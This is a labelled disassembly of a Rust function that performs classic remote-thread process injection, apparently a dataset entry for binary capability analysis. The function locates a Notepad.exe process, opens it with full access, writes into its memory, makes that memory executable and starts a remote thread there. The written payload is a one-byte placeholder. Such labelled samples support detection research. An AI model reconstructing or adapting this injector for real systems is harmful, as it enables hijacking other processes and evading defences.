Function at 0x1400020e0
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x258
movaps xmmword [rsp + 0x240], xmm6
mov byte [rsp + 0x47], 0
movabs rax, 0x101010101010101
mov qword [rsp + 0x4d], rax
mov qword [rsp + 0x48], rax
lea rsi, [rsp + 0xa0]
lea rdx, [rsp + 0x48]
mov rcx, rsi
call sym.__sysinfo::windows::system::System_as_sysinfo::traits::SystemExt_::new_with_specifics::hb0d4ace92304f4f9
mov rcx, rsi
call sym.__sysinfo::windows::system::System_as_sysinfo::traits::SystemExt_::refresh_memory::he270898c7b85c2fa
lea rcx, [rsp + 0xa0]
mov dl, 1
xor r8d, r8d
call sym.__sysinfo::windows::system::System_as_sysinfo::traits::SystemExt_::refresh_cpu_specifics::hce8f457f636507f0
mov rax, qword [rsp + 0x140]
test rax, rax
je 0x140002172
mov rsi, qword [rsp + 0x138]
shl rax, 5
lea rdi, [rax + rax*2]
mov rcx, rsi
call sym.__sysinfo::windows::component::Component_as_sysinfo::traits::ComponentExt_::refresh::hbb7ead2631749be9
add rsi, 0x60
add rdi, 0xffffffffffffffa0
jne 0x140002160
lea rcx, [rsp + 0xa0]
mov edx, 0x10101
call sym._ZN79__LT_sysinfo..windows..system..System_u20_as_u20_sysinfo..traits..SystemExt_GT_27refresh_processes_specifics17hc88b39f447
mov rax, qword [rsp + 0x158]
test rax, rax
je 0x1400021c8
mov rsi, qword [rsp + 0x150]
shl rax, 4
lea rdi, [rax + rax*8]
nop word cs:[rax + rax]
mov rcx, rsi
call sym.__sysinfo::windows::disk::Disk_as_sysinfo::traits::DiskExt_::refresh::hea4c49b4f01a9225
add rsi, 0x90
add rdi, 0xffffffffffffff70
jne 0x1400021b0
lea rcx, [rsp + 0x1a8]
call sym.__sysinfo::windows::network::Networks_as_sysinfo::traits::NetworksExt_::refresh::h1c44fd8f95d265ea
mov r12, qword [rsp + 0x190]
test r12, r12
je 0x14000255e
mov r13, qword [rsp + 0x178]
lea rbp, [r13 + 0x10]
movdqa xmm0, xmmword [r13]
pmovmskb eax, xmm0
not eax
movabs r14, 0x2e64617065746f4e
movabs r15, 0x6578652e64617065
xorps xmm6, xmm6
lea rbx, [rsp + 0x48]
jmp 0x14000222e
lea eax, [rsi - 1]
and eax, esi
dec r12
je 0x14000255e
test ax, ax
jne 0x14000225d
nop word cs:[rax + rax]
movdqa xmm0, xmmword [rbp]
pmovmskb eax, xmm0
add r13, 0xffffffffffffea80
add rbp, 0x10
cmp eax, 0xffff
je 0x140002240
not eax
mov esi, eax
tzcnt eax, esi
neg rax
imul rax, rax, 0x158
cmp qword [r13 + rax - 0x130], 0xb
jne 0x140002220
add rax, r13
mov rcx, qword [rax - 0x138]
mov rdx, qword [rcx]
xor rdx, r14
mov rcx, qword [rcx + 3]
xor rcx, r15
or rcx, rdx
jne 0x140002220
mov rdi, qword [rax - 0x158]
lea rax, [0x1400de068]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 1
mov qword [rsp + 0x58], 8
movups xmmword [rsp + 0x60], xmm6
mov rcx, rbx
call sym.std::io::stdio::_print::ha3e14f2482097176
mov ecx, 0x1fffff
xor edx, edx
mov r8d, edi
call sub.kernel32.dll_OpenProcess
mov rdi, rax
dec rax
cmp rax, 0xfffffffffffffffe
jb 0x140002369
call sym.windows_core::error::Error::from_win32::hc180af88ca7aac8c
mov qword [rsp + 0x78], rax
mov dword [rsp + 0x80], edx
lea rax, [rsp + 0x78]
mov qword [rsp + 0x88], rax
lea rax, [sym.__windows_core::error::Error_as_core::fmt::Display_::fmt::h30b1b7226a099899]
mov qword [rsp + 0x90], rax
lea rax, str.____Error_Getting_Process_Identifier__n
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 2
mov qword [rsp + 0x68], 0
lea rax, [rsp + 0x88]
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], 1
mov rcx, rbx
call sym.std::io::stdio::_eprint::haf4017e7105d1619
cmp qword [rsp + 0x78], 0
je 0x140002220
lea rcx, [rsp + 0x78]
call sym.__windows_core::unknown::IUnknown_as_core::ops::drop::Drop_::drop::h42f5915d8b574cc6
jmp 0x140002220
lea rax, str._i__Allocating_Memory_in_the_Process_n
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 1
mov qword [rsp + 0x58], 8
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x60], xmm0
lea rcx, [rsp + 0x48]
call sym.std::io::stdio::_print::ha3e14f2482097176
mov dword [rsp + 0x20], 4
mov r8d, 1
mov rcx, rdi
xor edx, edx
mov r9d, 0x3000
call sub.kernel32.dll_VirtualAllocEx
mov rbx, rax
test rax, rax
je 0x140002587
lea rax, str._i__Writing_to_memory_n
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 1
mov qword [rsp + 0x58], 8
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x60], xmm0
lea rcx, [rsp + 0x48]
call sym.std::io::stdio::_print::ha3e14f2482097176
mov qword [rsp + 0x20], 0
lea r8, [rsp + 0x47]
mov r9d, 1
mov rcx, rdi
mov rdx, rbx
call sub.kernel32.dll_WriteProcessMemory
test eax, eax
je 0x1400025fa
mov dword [rsp + 0x9c], 0
lea rax, [rsp + 0x9c]
mov qword [rsp + 0x20], rax
mov r8d, 1
mov rcx, rdi
mov rdx, rbx
mov r9d, 0x40
call sub.kernel32.dll_VirtualProtectEx
test eax, eax
je 0x1400026a6
lea rax, str.___Creating_a_Remote_Thread_n
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 1
mov qword [rsp + 0x58], 8
xorps xmm6, xmm6
movups xmmword [rsp + 0x60], xmm6
lea rcx, [rsp + 0x48]
call sym.std::io::stdio::_print::ha3e14f2482097176
movups xmmword [rsp + 0x30], xmm6
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov rcx, rdi
xor edx, edx
xor r8d, r8d
mov r9, rbx
call sub.kernel32.dll_CreateRemoteThreadEx
mov rbx, rax
dec rax
cmp rax, 0xfffffffffffffffe
jae 0x140002752
mov rcx, rbx
mov edx, 0xffffffff
call sub.kernel32.dll_WaitForSingleObject
mov rcx, rdi
call fcn.1400da584
test eax, eax
jne 0x1400024fa
call sym.windows_core::error::Error::from_win32::hc180af88ca7aac8c
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x58], edx
mov qword [rsp + 0x48], 1
test rax, rax
je 0x1400024fa
lea rcx, [rsp + 0x50]
call sym.__windows_core::unknown::IUnknown_as_core::ops::drop::Drop_::drop::h42f5915d8b574cc6
mov rcx, rbx
call fcn.1400da584
test eax, eax
jne 0x14000252c
call sym.windows_core::error::Error::from_win32::hc180af88ca7aac8c
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x58], edx
mov qword [rsp + 0x48], 1
test rax, rax
je 0x14000252c
lea rcx, [rsp + 0x50]
call sym.__windows_core::unknown::IUnknown_as_core::ops::drop::Drop_::drop::h42f5915d8b574cc6
lea rax, str.___Executed___n
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 1
mov qword [rsp + 0x58], 8
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x60], xmm0
lea rcx, [rsp + 0x48]
call sym.std::io::stdio::_print::ha3e14f2482097176
lea rcx, [rsp + 0xa0]
call sym.core::ptr::drop_in_place_sysinfo::windows::system::System_::hd11c24884bd2579f
movaps xmm6, xmmword [rsp + 0x240]
add rsp, 0x258
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rax, str.____Failed_to_Allocate_Memory_in_Target_Process._n
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 1
mov qword [rsp + 0x58], 8
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x60], xmm0
lea rcx, [rsp + 0x48]
call sym.std::io::stdio::_eprint::haf4017e7105d1619
mov rcx, rdi
call fcn.1400da584
test eax, eax
jne 0x1400025eb
call sym.windows_core::error::Error::from_win32::hc180af88ca7aac8c
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x58], edx
mov qword [rsp + 0x48], 1
test rax, rax
je 0x1400025eb
lea rcx, [rsp + 0x50]
call sym.__windows_core::unknown::IUnknown_as_core::ops::drop::Drop_::drop::h42f5915d8b574cc6
mov ecx, 0xffffffff
call sym.std::process::exit::h8a8d0b08db4a4c02
jmp 0x1400027f9
call sym.windows_core::error::Error::from_win32::hc180af88ca7aac8c
mov qword [rsp + 0x78], rax
mov dword [rsp + 0x80], edx
lea rax, [rsp + 0x78]
mov qword [rsp + 0x88], rax
lea rax, [sym.__windows_core::error::Error_as_core::fmt::Display_::fmt::h30b1b7226a099899]
mov qword [rsp + 0x90], rax
lea rax, str.____WriteProcessMemory_Failed_With_Error:
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 2
mov qword [rsp + 0x68], 0
lea rax, [rsp + 0x88]
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], 1
lea rcx, [rsp + 0x48]
call sym.std::io::stdio::_eprint::haf4017e7105d1619
mov rcx, rdi
call fcn.1400da584
test eax, eax
jne 0x140002697
call sym.windows_core::error::Error::from_win32::hc180af88ca7aac8c
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x58], edx
mov qword [rsp + 0x48], 1
test rax, rax
je 0x140002697
lea rcx, [rsp + 0x50]
call sym.__windows_core::unknown::IUnknown_as_core::ops::drop::Drop_::drop::h42f5915d8b574cc6
mov ecx, 0xffffffff
call sym.std::process::exit::h8a8d0b08db4a4c02
jmp 0x1400027f9
call sym.windows_core::error::Error::from_win32::hc180af88ca7aac8c
mov qword [rsp + 0x78], rax
mov dword [rsp + 0x80], edx
lea rax, [rsp + 0x78]
mov qword [rsp + 0x88], rax
lea rax, [sym.__windows_core::error::Error_as_core::fmt::Display_::fmt::h30b1b7226a099899]
mov qword [rsp + 0x90], rax
lea rax, str.____VirtualProtectEx_Failed_With_Error:__b
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 2
mov qword [rsp + 0x68], 0
lea rax, [rsp + 0x88]
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], 1
lea rcx, [rsp + 0x48]
call sym.std::io::stdio::_eprint::haf4017e7105d1619
mov rcx, rdi
call fcn.1400da584
test eax, eax
jne 0x140002743
call sym.windows_core::error::Error::from_win32::hc180af88ca7aac8c
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x58], edx
mov qword [rsp + 0x48], 1
test rax, rax
je 0x140002743
lea rcx, [rsp + 0x50]
call sym.__windows_core::unknown::IUnknown_as_core::ops::drop::Drop_::drop::h42f5915d8b574cc6
mov ecx, 0xffffffff
call sym.std::process::exit::h8a8d0b08db4a4c02
jmp 0x1400027f9
call sym.windows_core::error::Error::from_win32::hc180af88ca7aac8c
mov qword [rsp + 0x78], rax
mov dword [rsp + 0x80], edx
lea rax, [rsp + 0x78]
mov qword [rsp + 0x88], rax
lea rax, [sym.__windows_core::error::Error_as_core::fmt::Display_::fmt::h30b1b7226a099899]
mov qword [rsp + 0x90], rax
lea rax, str.____CreateRemoteThreadEx_Failed_With_Error:
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 2
mov qword [rsp + 0x68], 0
lea rax, [rsp + 0x88]
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], 1
lea rcx, [rsp + 0x48]
call sym.std::io::stdio::_eprint::haf4017e7105d1619
mov rcx, rdi
call fcn.1400da584
test eax, eax
jne 0x1400027ef
call sym.windows_core::error::Error::from_win32::hc180af88ca7aac8c
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x58], edx
mov qword [rsp + 0x48], 1
test rax, rax
je 0x1400027ef
lea rcx, [rsp + 0x50]
call sym.__windows_core::unknown::IUnknown_as_core::ops::drop::Drop_::drop::h42f5915d8b574cc6
mov ecx, 0xffffffff
call sym.std::process::exit::h8a8d0b08db4a4c02
ud2